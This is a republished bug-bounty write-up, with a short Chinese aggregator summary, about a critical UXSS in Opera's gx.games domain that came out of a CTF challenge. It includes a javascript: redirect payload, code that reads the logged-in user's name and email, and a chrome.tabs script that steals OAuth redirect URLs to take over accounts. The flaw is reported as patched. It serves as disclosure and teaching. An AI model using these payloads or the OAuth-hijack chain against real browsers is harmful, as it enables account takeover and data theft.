When CTF Meets Bug Bounty: A Critical UXSS in Opera Browser
作者在WACON CTF 2023中设计了一个浏览器挑战“operaaa”,参赛者jinu意外发现Opera浏览器中的一个严重跨站脚本(UXSS)漏洞。该漏洞通过GX.games中的重定向参数触发XSS攻击,并利用chrome.tabs接口泄露其他标签页的URL。结合OAuth流程,可接管用户账户。该漏洞影响 Opera PC、Mac 和 Linux 版本以及 Opera GX,并于2023年10月13日修复。 2025-8-24 23:11:36 Author: medium.com(查看原文) 阅读量:9 收藏

Renwa

Press enter or click to view image in full size

AI generated image

On September 25, 2023, my team Super Guesser was running the on-site finals of WACON CTF 2023 in South Korea. I authored a browser challenge called “operaaa”: a vulnerable extension inside the latest Opera build. The goal? Leak the full URL of other open tabs. You can still try it here.

It was a hard challenge and only one team solved it which was @jinu, The intended path was:

  1. Trigger XSS in the extension by bypassing URL checks.
  2. Break out of an iframe sandbox.
  3. Find a hidden Opera domain (not containing “opera”) with access to chrome.tabs().
  4. Leak open tab URLs (flag included).

But after the CTF, I discovered jinu’s solution was completely unintended. He landed on a straight XSS in a special Opera domain with access to chrome.tabs(). That discovery led us from CTF land into a real bug bounty: a critical UXSS in Opera itself.

The XSS wasn’t any special from a web view beacause it was on a (gx.games) domain and if he reported it he would get about $300 for it, but since it has access to the chrome.tabs() we can leak any URL and probably takeover any account that uses OAuth. Here is the bug report:

While looking at Opera browsers along with @jinu we found a critical XSS inside GX.games which allowed us to leak URLs of other origins and get user private info, chaining with another OAuth trick we were able to takeover all accounts on the web which uses OAuth.

We browsed GX.games looking for vulnerabilities we stumbled upon this URL https://gx.games/signup/ then looking at different parameters we found about redirectUrl not lets put it inside our url:

https://gx.games/signup/?redirectUrl=https://example.com

Press enter or click to view image in full size

Surprisingly the origin redirected to example.com now lets try another scheme which is javascript, in browser location='javascript:alert(origin)' will is same as eval(code) in so lets try it

https://gx.games/signup/?redirectUrl=javascript:alert(origin)

Press enter or click to view image in full size

Nice we have a full XSS no user interaction needed, Since this domain is owned by Opera it might have higher privileges than a normal page.

Looking at the special opr object to see if it contains any juicy functions It looks like we have access to multiple private browser parts like showing the feedback box, leak the logged user private info, change everything about workspaces, change browser wallpaper.

All of these a normal user/website should not have access to it and these functions are critical, we will focus on opr.operaIdentityPrivate lets see whats available and with this code we can leak the current user logged-in to the browser along with his email:

opr.operaIdentityPrivate.getFullname((x)=>{
opr.operaIdentityPrivate.getUseremail((j)=>{
alert('Your Full name and Email is: '+x+' '+j)
})})

Press enter or click to view image in full size

Looking into other parts and special handlers now we are going to check chrome object which should also have some nice functions.

Press enter or click to view image in full size

Lets just focus on one thing which is chrome.tabs this set of function is very powerful and has access to many cross-origin components such as URL, title. More info
Using chrome.tabs.query we can get all opened tabs in the browser and we have access to their URLs and title this will be a very bad leak to the browser as it will break the same-origin rule.

The real danger came from chaining this bug with Opera’s OAuth flow or any other OAuth application.

Opera Sync login uses:

https://auth.opera.com/account/confirm-identity?...&state=<value>

Normally, OAuth state protects against CSRF. But here’s the trick:

  • Attacker generates their own state.
  • Victim logs in and is redirected back with a code + victim’s account.
  • Because state mismatched, the victim sees an error.
  • Using chrome.tabs, we steal the full redirect URL (including the code).
  • Attacker pastes it into their own browser → logged into victim’s Opera Sync account.

That means full compromise of browsing history, sessions, and — because OAuth is universal — potential takeovers of Google, Facebook, Twitter, or any site using OAuth.

chrome.tabs.create({
url:`https://auth.opera.com/account/confirm-identity?...&state=#Attacker_State`
});
setTimeout(()=>{
chrome.tabs.query({},(tabs)=>{
document.body.innerHTML = `<h1 style=color:red>
pwned! Use this URL to log into victim account:<br>
<textarea cols=50 rows=10>${tabs[tabs.length-1].url}</textarea>
</h1>`
})
},9000)

Video POC:

  • Affected: Opera (PC, Mac, Linux) + Opera GX (PC, Mac, Linux)
  • Severity: Critical (cross-origin URL leak + OAuth account takeover)
  • Wider risk: Breaks same-origin policy & undermines OAuth protections globally.
  • Discovered: Sept 26, 2023
  • Patched: Oct 13, 2023
  • Rewarded: Jan 12, 2024 — $4,000 each

文章来源: https://medium.com/@renwa/when-ctf-meets-bug-bounty-a-critical-uxss-in-opera-browser-ee16f389e555?source=rss-3f8ae70e3957------2
如有侵权请联系:admin#unsafe.sh